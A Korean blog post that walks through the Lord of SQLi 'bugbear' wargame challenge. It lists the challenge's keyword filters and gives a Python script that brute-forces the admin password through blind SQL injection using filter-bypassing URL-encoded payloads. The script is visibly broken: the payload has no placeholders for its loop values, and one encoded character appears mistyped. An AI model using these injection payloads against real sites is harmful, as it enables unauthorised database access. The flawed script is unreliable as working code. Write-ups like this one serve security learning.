WEB/LOS
[LOS] bugbear
와금
2021. 7. 21. 12:06
728x90
싱글쿼터, ascii, =, or, and, 공백, like 등을 필터링하고 있다.
일단 다음과 같이 쿼리를 입력해 pw의 길이를 알아냈다.
pw의 길이는 8이다.
전체 pw를 알아내기 위해 파이썬으로 자동화 프로그램을 작성했다.
import requests
url = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36'}
cookies = {'PHPSESSID':'세션아이디'}
result=''
for i in range(1,9):
for j in range(32,128):
params = {'no':'1%7C%7Cid%0ain&0a("admin")%26%26right(left(pw,1),1)%0ain%0a(%22a%22)'.format(i,j)}
res = requests.get(url,headers=headers,cookies=cookies,params=params)
if 'Hello admin' in res.text:
result+=chr(j)
break
print(result)
실행 결과는 아래와 같다.
찾아낸 패스워드를 입력했다.
Clear!
728x90